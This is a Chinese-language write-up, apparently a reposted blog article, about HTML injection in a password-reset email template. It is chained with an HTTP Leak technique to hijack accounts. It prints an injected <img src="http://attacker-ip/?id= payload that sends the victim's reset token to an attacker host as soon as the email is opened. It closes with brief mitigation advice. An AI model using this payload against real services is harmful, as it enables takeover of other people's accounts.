溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

怎么通過密碼重置功能構(gòu)造HTTP Leak實(shí)現(xiàn)任意賬戶劫持

發(fā)布時(shí)間:2021-12-18 15:00:24 來源:億速云 閱讀:152 作者:柒染 欄目:安全技術(shù)

怎么通過密碼重置功能構(gòu)造HTTP Leak實(shí)現(xiàn)任意賬戶劫持,很多新手對此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

密碼重置請求中的HTML注入

在針對目標(biāo)應(yīng)用服務(wù)的密碼重置功能測試過程中,我發(fā)現(xiàn)在服務(wù)端和我的重置密碼測試賬戶之間存在以下POST請求,即它會(huì)自動(dòng)向重置密碼的用戶郵箱發(fā)送以下郵件,提醒用戶點(diǎn)擊相應(yīng)的重置鏈接[RESET LINK]去修改密碼,該請求是一個(gè)HTML郵件格式:

怎么通過密碼重置功能構(gòu)造HTTP Leak實(shí)現(xiàn)任意賬戶劫持仔細(xì)看,可以發(fā)現(xiàn),其中的emailBody使用的是模板樣式,所以,接下來,我們就來看看這里它能不能被利用,能否向其中注入一些東西。因此,我在其中插入了一個(gè)<a>標(biāo)簽內(nèi)容,如下:

怎么通過密碼重置功能構(gòu)造HTTP Leak實(shí)現(xiàn)任意賬戶劫持這樣一來,在我的重置密碼測試用戶郵箱中,收到了以下郵件,注意看,在我新添加的click之后,是密碼重置需要點(diǎn)擊的密碼修改鏈接,也就是POST請求中的[RESET-LINK]:
怎么通過密碼重置功能構(gòu)造HTTP Leak實(shí)現(xiàn)任意賬戶劫持很明顯,目標(biāo)應(yīng)用服務(wù)未對HTML郵件模板的用戶輸入做安全過濾,導(dǎo)致emailBody元素可被攻擊者控制,這是一種典型的HTML注入漏洞。但在這里,能產(chǎn)生什么影響呢? 此時(shí),我突然想到了HTTP Leak攻擊方法,可以用這種方式來看看是否存在相關(guān)的信息泄露,或許能在其中獲取到對應(yīng)賬戶的密碼重置Token。 

HTTP Leak攻擊簡介

當(dāng)前Web技術(shù)下包含了大量HTML元素和屬性,這些HTML元素和屬性會(huì)請求一些外部資源,而在它們的HTTP請求過程中,可能存在潛在的敏感信息泄露。為此,德國著名網(wǎng)絡(luò)安全公司Cure53發(fā)起了名為HTTP Leaks的攻擊方法研究項(xiàng)目(項(xiàng)目參見Github -HttpLeaks),其攻擊方法目的在于,枚舉出各類HTTP請求中可能存在的信息泄露問題。

另外,某些場景下,還能利用HTTP Leak繞過CSP防護(hù)機(jī)制,如@filedescriptor的《CSP 2015》,以及@intidc大神的《HTML injection can lead to data theft》。

就比如,在HTTP請求涉及的一些HTML郵件格式中,如果存在HTTP Leak問題,那么,可以利用它來知道收信人是否打開或者閱讀了郵件;還有一些Web代理工具,它們聲稱可以用“匿名”的方式去訪問某些網(wǎng)站,但一些HTML元素或?qū)傩缘闹貙戇^程中,就會(huì)涉及到外部資源的HTTP請求,如果這其中存在信息泄露問題,那么,其聲稱的“匿名”保護(hù)也就無從談起了。

構(gòu)造HTTP Leak攻擊Payload

在此,我們需要了解HTML郵件格式模板(可點(diǎn)此查看Email Templates),其中的密碼重置請求模板如下:

---
Subject: Retrieve your password on {{ settings.businessAddress.company }}.
---
<!DOCTYPE html>
<html>
<head>
</head>
<body >
<div>
    <p>
        You have requested a password reset, please follow the link below to reset your password.
    </p>
    <p>
        Please ignore this email if you did not request a password change.
    </p>
    <p>
        <a href="{{ RESET-LINK }}">
            Follow this link to reset your password.
        </a>
    </p>
</div>
</body>
</html>

結(jié)合前述密碼重置請求的HTML郵件格式注入漏洞,我們可以在[RESE-TLINK]之前插入以下格式的Payload:

<img src=\"http://attacker-ip/?id=

注意看,這種插入最后就形成了:

<img src=\"http://attacker-ip/?id="{{ RESET-LINK }}"

其中,第一對雙引號(hào)的閉合區(qū)間 "http://attacker-ip/?id=" 成為了最終的密碼重置點(diǎn)擊鏈接,也就是說,受害者收到密碼重置請求郵件后,他點(diǎn)擊的密碼重置鏈接將會(huì)是攻擊者控制的網(wǎng)站http://attacker-ip/,這樣一來,目標(biāo)應(yīng)用產(chǎn)生的密碼重置token就會(huì)發(fā)送到攻擊者控制的網(wǎng)站http://attacker-ip/。

這里,由于插入的<img src=\"http://attacker-ip/?id= 偽裝成一張圖片元素,所以,實(shí)際上,只要受害者打開密碼重置請求郵件,不需要點(diǎn)擊其中的重置鏈接,當(dāng)郵件體發(fā)起圖片加載時(shí),就能自動(dòng)請求攻擊者網(wǎng)站,實(shí)現(xiàn)密碼重置token向http://attacker-ip/的發(fā)送,如下:

怎么通過密碼重置功能構(gòu)造HTTP Leak實(shí)現(xiàn)任意賬戶劫持

漏洞影響

獲得了其他賬戶的密碼重置token,那么就可以間接操作,實(shí)現(xiàn)對其他賬戶的劫持了。目前,就從我的測試來看,除Gmail 和Yahoo外,有很多主流的郵件服務(wù)商大多都存在這種HTML注入+HTTP Leak的問題,從防護(hù)層面來說,需要對HTML郵件模板的用戶可輸入和編輯功能進(jìn)行安全過濾檢查。

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI